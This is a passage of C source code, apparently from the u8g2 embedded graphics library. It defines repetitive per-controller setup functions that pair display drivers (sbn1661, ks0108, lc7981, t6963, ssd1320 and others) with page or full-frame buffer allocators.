u8g2_SetupDisplay(u8g2, u8x8_d_sbn1661_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sbn1661 2 */ void u8g2_Setup_sbn1661_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sbn1661_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sbn1661 f */ void u8g2_Setup_sbn1661_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sbn1661_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sed1520 */ /* sed1520 1 */ void u8g2_Setup_sed1520_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sed1520_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sed1520 2 */ void u8g2_Setup_sed1520_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sed1520_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sed1520 f */ void u8g2_Setup_sed1520_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sed1520_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ks0108 */ /* ks0108 1 */ void u8g2_Setup_ks0108_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ks0108_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ks0108 2 */ void u8g2_Setup_ks0108_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ks0108_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ks0108 f */ void u8g2_Setup_ks0108_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ks0108_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ks0108 */ /* ks0108 1 */ void u8g2_Setup_ks0108_erm19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ks0108_erm19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ks0108 2 */ void u8g2_Setup_ks0108_erm19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ks0108_erm19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ks0108 f */ void u8g2_Setup_ks0108_erm19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ks0108_erm19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* t7932 */ /* t7932 1 */ void u8g2_Setup_t7932_150x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t7932_150x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_19_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* t7932 2 */ void u8g2_Setup_t7932_150x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t7932_150x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_19_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* t7932 f */ void u8g2_Setup_t7932_150x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t7932_150x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_19_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* hd44102 */ /* hd44102 1 */ void u8g2_Setup_hd44102_100x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_hd44102_100x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_13_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* hd44102 2 */ void u8g2_Setup_hd44102_100x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_hd44102_100x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_13_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* hd44102 f */ void u8g2_Setup_hd44102_100x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_hd44102_100x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_13_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* lc7981 */ /* lc7981 1 */ void u8g2_Setup_lc7981_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_160x80, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* lc7981 2 */ void u8g2_Setup_lc7981_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_160x80, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* lc7981 f */ void u8g2_Setup_lc7981_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_160x80, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* lc7981 */ /* lc7981 1 */ void u8g2_Setup_lc7981_160x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_160x160, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* lc7981 2 */ void u8g2_Setup_lc7981_160x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_160x160, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* lc7981 f */ void u8g2_Setup_lc7981_160x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_160x160, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_20_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* lc7981 */ /* lc7981 1 */ void u8g2_Setup_lc7981_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* lc7981 2 */ void u8g2_Setup_lc7981_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* lc7981 f */ void u8g2_Setup_lc7981_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* lc7981 */ /* lc7981 1 */ void u8g2_Setup_lc7981_240x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_240x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* lc7981 2 */ void u8g2_Setup_lc7981_240x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_240x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* lc7981 f */ void u8g2_Setup_lc7981_240x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_240x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* lc7981 */ /* lc7981 1 */ void u8g2_Setup_lc7981_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_128x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* lc7981 2 */ void u8g2_Setup_lc7981_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_128x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* lc7981 f */ void u8g2_Setup_lc7981_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_128x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 */ /* t6963 1 */ void u8g2_Setup_t6963_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 2 */ void u8g2_Setup_t6963_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 f */ void u8g2_Setup_t6963_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 */ /* t6963 1 */ void u8g2_Setup_t6963_240x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_240x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 2 */ void u8g2_Setup_t6963_240x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_240x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 f */ void u8g2_Setup_t6963_240x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_240x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 */ /* t6963 1 */ void u8g2_Setup_t6963_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_256x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 2 */ void u8g2_Setup_t6963_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_256x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 f */ void u8g2_Setup_t6963_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_256x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 */ /* t6963 1 */ void u8g2_Setup_t6963_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_128x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_t6963_128x64_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_128x64_alt, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 2 */ void u8g2_Setup_t6963_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_128x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_t6963_128x64_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_128x64_alt, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 f */ void u8g2_Setup_t6963_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_128x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_t6963_128x64_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_128x64_alt, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 */ /* t6963 1 */ void u8g2_Setup_t6963_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_160x80, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 2 */ void u8g2_Setup_t6963_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_160x80, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* t6963 f */ void u8g2_Setup_t6963_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_t6963_160x80, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ssd1320 */ /* ssd1320 1 */ void u8g2_Setup_ssd1320_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1320 2 */ void u8g2_Setup_ssd1320_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1320 f */ void u8g2_Setup_ssd1320_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1320 */ /* ssd1320 1 */ void u8g2_Setup_ssd1320_160x132_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x132, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_17_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1320 2 */ void u8g2_Setup_ssd1320_160x132_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x132, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_17_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1320 f */ void u8g2_Setup_ssd1320_160x132_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x132, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_17_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1320 